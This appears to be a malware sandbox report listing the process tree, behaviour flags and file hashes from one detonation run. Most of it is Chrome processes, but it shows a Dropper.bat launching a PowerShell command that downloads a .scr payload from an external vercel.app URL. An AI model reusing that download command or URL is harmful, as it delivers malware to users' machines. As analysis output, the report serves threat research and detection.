C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1416 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:12⤵PID:1580
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3312 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:82⤵PID:1804
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3360 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:82⤵PID:2996
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3604 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:82⤵PID:2268
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3720 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:82⤵PID:352
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3116 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:82⤵PID:1716
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=3620 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:12⤵PID:2744
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3596 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:82⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2300
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3548 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:12⤵PID:1956
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:1032
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:1640
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x5141⤵PID:2628
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\Dropper.bat" "1⤵PID:1624
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1232
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
264KB
MD5f50f89a0a91564d0b8a211f8921aa7de
SHA1112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
-
Filesize
16B
MD5aefd77f47fb84fae5ea194496b44c67a
SHA1dcfbb6a5b8d05662c4858664f81693bb7f803b82
SHA2564166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
SHA512b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3
-
Filesize
5KB
MD5d6da7511488b01604718d0b6dd35fb22
SHA132242fa023e2c4050c56d9094259df5b05b4a735
SHA256f8849c7eb91043ee6cbcbcebe52af4997f43c734630064135ddbbe3b8fb23c9f
SHA5126b50baa4ca39c837b341baef27a4ad238e3590408e9ce0ae8caa72cd82bec24d8d4e4268c828d872428e85612b52dd855ea2f5bf71cda57b7be9b541e6d9c4aa
-
Filesize
5KB
MD5dd022b3a259164d6c351763ea0bc6a8f
SHA1290e0372341b1021d34bd306ef7edcb76aaa93bc
SHA256133ae64d32387159865c6745f91f982342a84287c01bef76ded310ffa09bc4d2
SHA5127ba5e27ad8481459f2a1bee8909f6e42e438039ca23bebce7faa5c258fbdd9c6314ae60609a677b9a5790906168f07fa14b56fe7c0e1a6e8acced6c038bdbfc4
-
Filesize
6KB
MD5130d9fc61a0d2c30f314cd72afc7ce2e
SHA13f54ffca8eef578c5b225b5144aaac0fbbb046ee
SHA256fb2200e954dcc3f4bbc69fb48f80adbe63307515dd075cd2ebcff244262c2b1f
SHA51289fbd6a518fe3a946db849bbf4d19397127765bdddb53663640a48a1654d7f628346e3c17a3266c4f3464474900d0e915ba5ec6b365dc685e0ce0d1889db4f3f
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000007.dbtmp
Filesize16B
MD518e723571b00fb1694a3bad6c78e4054
SHA1afcc0ef32d46fe59e0483f9a3c891d3034d12f32
SHA2568af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa
SHA51243bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2
-
Filesize
341KB
MD58e190754ab6afaa02eb3bb8f82462e64
SHA142a50682adb4d0962526a584ac20d4eca4db021f
SHA256fbc4862699e66728c341b2a6100784fd57507a2621ee2206b992c728e3274e66
SHA5127b39018cc0689d0d3d07ffa2220ce69cf171cdd8184995a5fb87724a257dfb6f368ec1962e26bcaad8427e4ef18b35d13422da1076137ab89ef4790153737a3f
-
Filesize
341KB
MD5a6c51b8c80ea32aea74539006b144db0
SHA1d114631df0dd1705e0abc7006d0b5f763023dcfc
SHA2562034ea7c4658cf7872a63f6e5150218211ed23c61aa289fa4ee449179e336adc
SHA512e6d4a1489e6389296d0d6a82f08128e30fa591c0edfb26ad75f8870f3518f33af3daf778a64c92b90a5cc63b6467bbe41594b7b62c0b00c3746389c9882a6c12
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5d50392edd2bb3be8c590ef46f780382b
SHA175358a52dfba2e57e286a7bfc38738dba7e6c0e6
SHA2568c89d311199e411927cb2faaaa586813dc06fca4f8b0a07998027cb6ca6e68e3
SHA5124045f65799a41bf03d5f2d096fa5a1e221cd780328efc49fc6334c00f3f096c79b02a327550c157764ef80308a9da15727e482385fd91b7f2ca9c4bd2f54c01c